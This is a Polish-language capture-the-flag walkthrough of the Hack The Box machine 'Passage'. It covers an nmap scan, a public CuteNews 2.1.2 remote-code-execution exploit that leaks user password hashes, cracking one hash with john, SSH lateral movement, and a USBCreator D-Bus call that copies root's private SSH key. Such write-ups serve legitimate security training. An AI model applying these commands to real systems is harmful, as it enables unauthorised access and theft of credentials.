Passage

Nmap

nmap -p- -T5 10.10.10.206                             

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

User

Wchodząc na stronę widać, że mamy doczynienia z CuteNews. Na stronie logowania widać wersję 2.1.2
Używam searchsploit żeby zobaczyć czy są jakieś podatności na tronę

searchsploit cutenews
...
CuteNews 2.1.2 - Remote Code Execution

Eksploit działa jak należy i dostajemy słabego shell’a. Co ciekawe exploit wyświetlił nam kilka Hashy. Jeden z nich okazuje się hasłem do użytkownika.

python3 48800.py 



           _____     __      _  __                     ___   ___  ___ 
          / ___/_ __/ /____ / |/ /__ _    _____       |_  | <  / |_  |
         / /__/ // / __/ -_)    / -_) |/|/ (_-<      / __/_ / / / __/ 
         \___/\_,_/\__/\__/_/|_/\__/|__,__/___/     /____(_)_(_)____/ 
                                ___  _________                        
                               / _ \/ ___/ __/                        
                              / , _/ /__/ _/                          
                             /_/|_|\___/___/                          
                                                                      

                                                                                                                                                   

[->] Usage python3 expoit.py

Enter the URL> http://10.10.10.206
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================
john hash --format=Raw-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt
...
atlanta1         (?)

Logujemy się na konto Paul

su paul
atlanta1
cat user.txt
ce734429d31****0be2168fa77c

Root

Pierwszy krok to eskalacja uprawnień do użytkownika nadav.
Okazuje się, że użytkownik nadav może logować się do ssh na użytkownika paul, można się spodziewać, że administrator zostawił taką samą furtkę w drugą stronę i jesteśmy uprawnieni do zalogowania się po ssh na użytkownika nadav.

cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
ssh -i /home/paul/.ssh/id_rsa nadav@127.0.0.1

Następnie widać, kilka punktów zaczepienia takich jak CUPS, wersja SUDO itp. ale nic nie daje konkretnych wyników.
Ostatecznie w procesach widać odpalony USBCreator jako root.
Na internecie można znaleźć arktykuł jak eskalować uprawnienia przy pomocy tej usługi, która nie sprawdza uprawnień użytkownika tylko fakt czy dany użytkownik należy do grupy SUDO.

root       .... /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper

Korzystając z artykułu możemy podmontować dowolny plik w dowolnym miejscu.

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/.ssh/id_rsa /tmp/id_rsa_root true

chmod 600 id_rsa_root
ssh -i id_rsa_root root@10.10.10.206
cat root.txt
91e112ab14***2dec7369b2b94c73

Leave a Comment